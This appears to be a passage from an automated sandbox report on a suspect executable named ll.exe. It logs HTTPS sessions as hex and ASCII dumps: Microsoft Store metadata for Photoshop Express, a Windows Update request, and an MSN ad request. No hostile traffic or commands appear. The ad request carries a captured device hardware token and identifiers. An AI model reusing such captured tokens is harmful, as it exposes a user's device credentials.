2022-04-08 08:03:38 UTC9077INData Raw: 75 72 65 20 61 6e 64 20 54 69 6e 74 5c 72 5c 6e 55 73 65 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 74 72 6f 64 75 63 65 20 77 61 72 6d 74 68 20 6f 72 20 63 6f 6c 64 6e 65 73 73 20 74 6f 20 79 6f 75 72 20 70 68 6f 74 6f 2e 20 59 6f 75 20 63 61 6e 20 61 6c 73 6f 20 63 6f 6e 74 72 6f 6c 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 67 72 65 65 6e 20 61 6e 64 20 72 65 64 20 74 6f 6e 65 73 20 69 6e 20 79 6f 75 72 20 70 68 6f 74 6f 2e 5c 72 5c 6e 55 73 65 20 74 68 65 20 54 65 6d 70 65 72 61 74 75 72 65 20 73 6c 69 64 65 72 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 63 72 65 61 73 65 20 6f 72 20 64 65 63 72 65 61 73 65 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 6f 72 61 6e 67 65 20 6f 72 20 62
Data Ascii: ure and Tint\r\nUse Temperature and Tint controls to introduce warmth or coldness to your photo. You can also control the amount of green and red tones in your photo.\r\nUse the Temperature slider controls to increase or decrease the amount of orange or b
2022-04-08 08:03:38 UTC9081INData Raw: 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 43 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 22 2c 22 43 57 22 2c 22 4a 4d 22 2c 22 53 4a 22 2c 22 4a 45 22 2c 22 4b 49 22 2c 22 4b 47 22 2c 22 4c 41 22 2c 22 4c 53 22 2c 22 4c 52 22 2c 22 4d 4f 22 2c 22 4d 4b 22 2c 22 4d 47 22 2c 22 4d 57 22 2c 22 49 4d 22 2c 22 4d 48 22 2c 22 4d 51 22 2c 22 4d 55 22 2c 22 59 54 22 2c 22 46 4d 22 2c 22 4d 44 22 2c 22 4d 4e 22 2c 22 4d 53 22 2c 22 4d 5a 22 2c
Data Ascii: "GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ",
2022-04-08 08:03:38 UTC9085INData Raw: 68 69 67 68 6c 69 67 68 74 73 2c 20 6d 69 64 74 6f 6e 65 73 2c 20 61 6e 64 20 73 68 61 64 6f 77 73 2c 20 77 69 74 68 6f 75 74 20 63 6f 6d 70 72 6f 6d 69 73 69 6e 67 20 6f 6e 20 6f 74 68 65 72 20 61 72 65 61 73 20 6f 66 20 74 6f 6e 61 6c 69 74 79 2e 5c 72 5c 6e 55 73 65 20 42 6c 61 63 6b 73 20 61 6e 64 20 57 68 69 74 65 73 20 74 6f 20 73 65 74 20 62 6c 61 63 6b 20 70 6f 69 6e 74 20 61 6e 64 20 77 68 69 74 65 20 70 6f 69 6e 74 20 6f 66 20 74 68 65 20 70 68 6f 74 6f 2e 20 54 68 69 73 20 6d 61 6b 65 73 20 63 6f 6c 6f 72 73 20 61 70 70 65 61 72 20 63 6f 6d 70 6c 65 74 65 6c 79 20 62 6c 61 63 6b 20 6f 72 20 77 68 69 74 65 2e 5c 72 5c 6e 5c 72 5c 6e 2a 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 5c 72 5c 6e 55 73 65 20 54 65 6d 70 65 72 61 74
Data Ascii: highlights, midtones, and shadows, without compromising on other areas of tonality.\r\nUse Blacks and Whites to set black point and white point of the photo. This makes colors appear completely black or white.\r\n\r\n* Temperature and Tint\r\nUse Temperat
2022-04-08 08:03:38 UTC9089INData Raw: 55 22 2c 22 4e 46 22 2c 22 50 57 22 2c 22 50 53 22 2c 22 50 41 22 2c 22 50 47 22 2c 22 50 59 22 2c 22 52 45 22 2c 22 52 57 22 2c 22 42 4c 22 2c 22 4d 46 22 2c 22 57 53 22 2c 22 53 54 22 2c 22 53 4e 22 2c 22 4d 50 22 2c 22 50 4e 22 2c 22 53 58 22 2c 22 53 42 22 2c 22 53 4f 22 2c 22 53 43 22 2c 22 53 4c 22 2c 22 47 53 22 2c 22 53 48 22 2c 22 4b 4e 22 2c 22 4c 43 22 2c 22 50 4d 22 2c 22 56 43 22 2c 22 54 4a 22 2c 22 54 5a 22 2c 22 54 47 22 2c 22 54 4b 22 2c 22 54 4f 22 2c 22 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 2c 22 53 52 22 2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56
Data Ascii: U","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","V
2022-04-08 08:03:38 UTC9093INData Raw: 68 6f 74 6f 20 26 20 76 69 64 65 6f 5c 22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 66 61 6c 73 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c
Data Ascii: hoto & video\",\"optOut.backupRestore\":false,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\
2022-04-08 08:03:38 UTC9097INData Raw: 62 38 37 35 2d 63 66 36 32 63 33 62 61 63 64 66 36 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 63 30 38 61 30 64 37 32 2d 32 38 61 31 2d 34 36 35 61 2d 39 65 37 30 2d 36 61 35 62 38 30 62 34 34 64 36 30 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 41 64 6f 62 65 53 79 73 74 65 6d 73 49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 41 64 6f 62 65 50 68 6f 74 6f 73 68 6f 70 45 78 70 72 65 73 73 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41
Data Ascii: b875-cf62c3bacdf6","WuCategoryId":"c08a0d72-28a1-465a-9e70-6a5b80b44d60","PackageFamilyName":"AdobeSystemsIncorporated.AdobePhotoshopExpress_ynb6jyjzte8ga","SkuId":"0010","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"A
2022-04-08 08:03:38 UTC9101INData Raw: 70 45 78 70 72 65 73 73 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 41 64 6f 62 65 53 79 73 74 65 6d 73 49 6e 63 6f 72 70 6f 72 61 74 65 64 2e 41 64 6f 62 65 50 68 6f 74 6f 73 68 6f 70 45 78 70 72 65 73 73 5f 32 30 31 37 2e 39 32 31 2e 31 34 33 34 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 79 6e 62 36 6a 79 6a 7a 74 65 38 67 61 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 63 65 36 62 34 38 39 66 2d 33 30 66 33 2d 34 36 63 36 2d 62 32 65 34 2d 35 65 37 66 30 32 31 31 63 33 35 66 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 32 30 30 31 33 2c 22 50 6c 61 74 66
Data Ascii: pExpress_ynb6jyjzte8ga","MainPackageFamilyNameForDlc":null,"PackageFullName":"AdobeSystemsIncorporated.AdobePhotoshopExpress_2017.921.1434.0_neutral_~_ynb6jyjzte8ga","PackageId":"ce6b489f-30f3-46c6-b2e4-5e7f0211c35f-X86-X64-Arm","PackageRank":20013,"Platf
2022-04-08 08:03:38 UTC9105INData Raw: 61 67 65 6d 65 6e 74 44 61 74 61 22 3a 7b 22 47 72 61 6e 74 65 64 45 6e 74 69 74 6c 65 6d 65 6e 74 4b 65 79 73 22 3a 5b 5d 2c 22 50 72 69 63 65 22 3a 7b 22 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 49 73 50 49 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 4c 69 73 74 50 72 69 63 65 22 3a 30 2e 30 2c 22 4d 53 52 50 22 3a 30 2e 30 2c 22 54 61 78 54 79 70 65 22 3a 22 22 2c 22 57 68 6f 6c 65 73 61 6c 65 43 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 22 7d 7d 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 7d 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 44 69 73 70 6c 61 79 52 61 6e 6b 22 3a 31 2c 22 52 65 6d 65 64 69 61 74 69 6f 6e 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 7d 2c 7b 22 41 63 74 69 6f 6e 73 22 3a 5b 22 4c 69 63 65
Data Ascii: agementData":{"GrantedEntitlementKeys":[],"Price":{"CurrencyCode":"USD","IsPIRequired":false,"ListPrice":0.0,"MSRP":0.0,"TaxType":"","WholesaleCurrencyCode":""}},"Properties":{},"SkuId":"0010","DisplayRank":1,"RemediationRequired":false},{"Actions":["Lice
2022-04-08 08:03:38 UTC9109INData Raw: 68 69 73 20 6d 61 6b 65 73 20 63 6f 6c 6f 72 73 20 61 70 70 65 61 72 20 63 6f 6d 70 6c 65 74 65 6c 79 20 62 6c 61 63 6b 20 6f 72 20 77 68 69 74 65 2e 5c 72 5c 6e 5c 72 5c 6e 2a 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 5c 72 5c 6e 55 73 65 20 54 65 6d 70 65 72 61 74 75 72 65 20 61 6e 64 20 54 69 6e 74 20 63 6f 6e 74 72 6f 6c 73 20 74 6f 20 69 6e 74 72 6f 64 75 63 65 20 77 61 72 6d 74 68 20 6f 72 20 63 6f 6c 64 6e 65 73 73 20 74 6f 20 79 6f 75 72 20 70 68 6f 74 6f 2e 20 59 6f 75 20 63 61 6e 20 61 6c 73 6f 20 63 6f 6e 74 72 6f 6c 20 74 68 65 20 61 6d 6f 75 6e 74 20 6f 66 20 67 72 65 65 6e 20 61 6e 64 20 72 65 64 20 74 6f 6e 65 73 20 69 6e 20 79 6f 75 72 20 70 68 6f 74 6f 2e 5c 72 5c 6e 55 73 65 20 74 68 65 20 54 65 6d 70 65 72 61 74 75
Data Ascii: his makes colors appear completely black or white.\r\n\r\n* Temperature and Tint\r\nUse Temperature and Tint controls to introduce warmth or coldness to your photo. You can also control the amount of green and red tones in your photo.\r\nUse the Temperatu
2022-04-08 08:03:38 UTC9113INData Raw: 54 4d 22 2c 22 54 43 22 2c 22 54 56 22 2c 22 55 4d 22 2c 22 55 47 22 2c 22 56 49 22 2c 22 56 47 22 2c 22 57 46 22 2c 22 45 48 22 2c 22 5a 4d 22 2c 22 5a 57 22 2c 22 55 5a 22 2c 22 56 55 22 2c 22 53 52 22 2c 22 53 5a 22 2c 22 41 44 22 2c 22 4d 43 22 2c 22 53 4d 22 2c 22 4d 45 22 2c 22 56 41 22 2c 22 4e 45 55 54 52 41 4c 22 5d 7d 5d 2c 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 4a 32 37 4e 22 2c 22 50 72 6f 70 65 72 74 69 65 73 22 3a 7b 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 4a 32 37 4e 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 63 30 38 61 30 64 37 32 2d 32 38 61 31 2d 34 36 35 61 2d 39 65 37 30 2d 36 61 35 62 38 30 62 34 34 64 36 30 22 2c 22 50
Data Ascii: TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"ProductId":"9WZDNCRFJ27N","Properties":{"FulfillmentData":{"ProductId":"9WZDNCRFJ27N","WuCategoryId":"c08a0d72-28a1-465a-9e70-6a5b80b44d60","P
2022-04-08 08:03:38 UTC9117INData Raw: 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61
Data Ascii: level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":null,"FulfillmentDa
2022-04-08 08:03:38 UTC9121INData Raw: 75 49 64 22 3a 22 30 30 31 31 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 36 34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 2c 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 53 65 72 76 65 72 22 2c 22 70 69 63 74 75 72 65 73 4c 69 62 72 61 72 79 22 2c 22 4d 69 63 72 6f 73 6f 66 74 2e 73 74 6f 72 65 46 69 6c 74 65 72 2e 63 6f 72 65 2e 6e 6f 74 53 75 70 70 6f 72 74 65 64 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 5d 2c 22 45 78 70 65 72
Data Ascii: uId":"0011","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"App"}],"Architectures":["x64"],"Capabilities":["internetClient","internetClientServer","picturesLibrary","Microsoft.storeFilter.core.notSupported_8wekyb3d8bbwe"],"Exper
2022-04-08 08:03:38 UTC9125INData Raw: 74 65 38 67 61 22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 63 65 36 62 34 38 39 66 2d 33 30 66 33 2d 34 36 63 36 2d 62 32 65 34 2d 35 65 37 66 30 32 31 31 63 33 35 66 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 32 30 30 31 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 31 36 38 38 38 36 32 37 34 35 31 36 35 38 32 34 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 31 36 38 38 38 36 32 37 34 35 31 36 35 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 57 69 6e 64 6f 77 73 38 78 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e
Data Ascii: te8ga","PackageId":"ce6b489f-30f3-46c6-b2e4-5e7f0211c35f-X86-X64-Arm","PackageRank":20013,"PlatformDependencies":[{"MaxTested":1688862745165824,"MinVersion":1688862745165824,"PlatformName":"Windows.Windows8x"}],"PlatformDependencyXmlBlob":"{\"blob.version
2022-04-08 08:03:38 UTC9129INData Raw: 30 0d 0a 0d 0a
Data Ascii: 0


Session IDSource IPSource PortDestination IPDestination PortProcess
69192.168.2.35004840.125.122.176443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:03:39 UTC9129OUTGET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=4MtpozR6MODPlGb&MD=EefvrDUR HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81
Host: sls.update.microsoft.com
2022-04-08 08:03:39 UTC9129INHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/octet-stream
Expires: -1
Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT
ETag: "wy8fVV3cy06QlZhZUaOlBEoVMBnt4x8NJH3c50VWOxM=_1440"
MS-CorrelationId: 919d3ed8-c98e-4c4a-a066-fabf56ff9af9
MS-RequestId: 3b152273-94bb-4a0c-ad48-35ba86306244
MS-CV: e7OvT1fLEE+57nMl.0
X-Microsoft-SLSClientCache: 1440
Content-Disposition: attachment; filename=environment.cab
X-Content-Type-Options: nosniff
Date: Fri, 08 Apr 2022 08:03:38 GMT
Connection: close
Content-Length: 30958
2022-04-08 08:03:39 UTC9130INData Raw: 4d 53 43 46 00 00 00 00 be 37 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 20 e0 00 00 14 00 00 00 00 00 10 00 be 37 00 00 30 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 5b 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 27 c3 6c fd 52 37 f3 5b 43 4b ed 7a 05 58 55 dd d6 ee de 9b ee 96 6e 11 e9 b5 e9 52 69 a5 a4 bb 5b a4 bb 6b d3 ad a2 74 77 08 08 08 d2 21 25 dd a0 80 80 48 4a 4a 83 c4 dd e8 17 9e ef d4 7f fe 7b cf 73 fe 7b ef b7 9f 67 ef bd e6 5c 73 ce 35 63 8c f1 8e 77 8c 25 af 22 2e 05 82 7f da c9 40 df 3f 12 3f fe 40 08 60 30 08 0c 42 04 bd f8 08 02 11 7e af c1 fd de 06 10 05 fd f6 31 85 7f af 5b 85 72 83 7e fa f8 83 cc 6c 5d 2d 1d ed 6c 6d cc 6c 9d d9 dd 6d ac 41 f8 7a 2e
Data Ascii: MSCF7D 70Ad[environment.cab'lR7[CKzXUnRi[ktw!%HJJ{s{g\s5cw%".@??@`0B~1[r~l]-lmlmAz.
2022-04-08 08:03:39 UTC9145INData Raw: b3 49 a2 0d ff f6 07 56 2e e0 cd 9b 1f 2c 88 a2 01 ec 5e 7b 96 ac 79 f1 dc 76 c5 85 50 e5 c7 c8 45 07 64 59 b3 b7 80 da 46 59 e2 3c b1 95 cb ed 18 a0 46 1e 05 b6 ad 0f aa c7 d6 26 8a 7a 17 6e 85 5c 5c 6e b7 9b 98 29 fc 15 9c b1 63 23 9c 27 9a ba 82 04 21 f1 ec 76 cf 7a 3c 9a dc 26 02 a4 4b 13 b7 f5 66 dc 71 d6 12 42 66 da ba 5c 82 4f 0a 63 8b 27 ed ac 5b 4a 30 41 b8 22 8b 2f b7 4c 07 eb 6d 35 30 dd 9f 04 c2 94 77 e9 20 77 b3 ca 0d 58 a9 21 17 bb 64 c6 3c 80 fd e9 00 b3 78 2d 96 fe 20 b6 4c c6 4a 0b e6 fc 7a 35 83 21 a9 5b fb 9f ec fd f1 bd a9 3a 79 0e 3d a3 0c 9a 4f 59 1e be de 85 65 6f ea 2b b7 1c 1f d9 51 fd 01 a2 7c 91 b5 30 82 07 05 30 82 04 ed a0 03 02 01 02 02 13 33 00 00 00 08 59 e3 94 e0 54 c7 17 5d 00 00 00 00 00 08 30 0d 06 09 2a 86 48 86 f7 0d
Data Ascii: IV.,^{yvPEdYFY<F&zn\\n)c#'!vz<&KfqBf\Oc'[J0A"/Lm50w wX!d<x- LJz5![:y=OYeo+Q|003YT]0*H


Session IDSource IPSource PortDestination IPDestination PortProcess
7192.168.2.34998620.82.210.154443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:27 UTC32OUTGET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338387&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:472DC600-FEAB-E7F8-720D-1E33F00FD1E7&ctry=US&time=20220408T170226Z&lc=en-US&pl=en-US&idtp=mid&uid=4388269c-b420-4134-ac19-bc7ca8a19ac1&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=619c052a6e5140c4b5cee07576f42985&ctmode=MultiSession&arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1463022&metered=false&nettype=ethernet&npid=sc-338387&oemName=hsehht%2C%20Inc.&oemid=hsehht%2C%20Inc.&ossku=Professional&rver=2&sc-mode=0&smBiosDm=hsehht7%2C1&tl=2&tsu=1463022&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32319&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAUlAKXDAofTQM+n+MaRVFKzH/ehWgAAdVW0iu23GIxjRyUBGA+V5LMoU/lMaTjobBnQosoTe6w30OZEf3HulBKeYXog3CqxSfjOHeF/J4iLS/gKyhq/ZV/xtrYHZ35PhcBmS2qzlwNBiXp0+l4efq5nsDEEESQ06VT9dPxHYgWIFLG65LRysydA1lM9dDPzftFvDLM/ickJDFevqkA3hG2mKV46IqHL4CT7eP4Hk0/MOrRp8JB5tew/jI7o25TIEcXI9Ohbx1KIwUuqQcpj0nfDAUZEjkQqVS2z/wQaH+/fdlFO/AoxQI3CbcoTeaCp3XIesBJX0bxVNzc22qQqCPfGWQ/Sb52rGvkgBRvdW8DFg8ToMjfQpYDZgAACE3mODPOPAwVqAFPV53gZZc0aOkGu+jJWnw46hEU9aCKlpEDkH6SywZSQj+Z6IyumM/ZCz1/Exb6MZih9PGVRFV0dS4rZOfTTsEXw5x6gJoWeqkJZJqul+/LQNZpdaM/TGNQWhUnnbhyzuL3J52vfTsZzAtC6HDHUtfCP567IuQfNJw1zOBQG/Pho8+d+FiHWtcPKMXaDH+rX7PpflRpHTm7bd+l+rsPvLvdstjafDcGAADV0pkaM4oU0n35rzdzjoAWTcazcHXkrs0Gr34gDLPkE96nUwLpeDlXN3LOntP44gHngfTJAvz4io7zKxVkmOUwHoTarQK7POiXKiwa8x1QRMWrj0xK5k34eIR6SWW4uOhaTkCvnkjxlUVc2iz/sxwQS6ZoJuzJ60lcBcq6ptimZGdy/yuIx2kCNYcUG/nBNXbdKtF3Kz0nMb3Ry9n0QIm/ncP9d68+s4WiRIc+RuW5MPI3aHMGGt2snchu87pA34+QQKDxQpJZVZnC+RaoA8mYS8BGPqZ//PidcqGGmzw2vccoT1N6pSAD7mXPyM9QONX68BD34uYAk1VCPhRpsKh41QE=&p=
Cache-Control: no-cache
MS-CV: BYqskdYKuUKf7ZeJ.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive
2022-04-08 08:02:27 UTC41INHTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 24532
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"3,P425056668-T700379701-C128000000003026329+B+P90+S1,P425462535-T700374422-C128000000003097149+B+P80+S2,P400090958-T700355890-C128000000002241509+B+P20+S3"},{"BATCH_REDIRECT_STORE":"BWW_128000000003026329_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000003097149_EN-US+P0+S0"},{"BATCH_REDIRECT_STORE":"BWW_128000000002241509_EN-US+P0+S0"},{"OPTOUTSTATE":"256"}]
X-ARC-SIG: Zk9JuFMVqrJW3UUjX9sIlH4RLpxbkrSyRowC9C07tVMvE29gio6hjWUzpvZJ0v+uInplUQEn13WXLTlYLXiEMFXXfGGdVsXZ2SAZDDiGUgh+fGS1YqtJQ9NXzh182LJ4aAdFQrTyg2aAD/HdF5baQJZ3qdJyErujlo7464WS0AhRsz1djbBC5slYCbd5otrP6+ixsdYQqEhvUPeMm5rUBuyZXTv/5dB17jpRYNA/Dsyniu/g5Ie1KKoM92zzY+0AOQaWrkaV8FTE2xLDh2gM2Er1ZXc0ZH7j58/OwektyNAkgmwbik4532li7BHsWx3YaRBtY1mCu5mYR/yv7tj7qw==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Fri, 08 Apr 2022 08:02:27 GMT
Connection: close
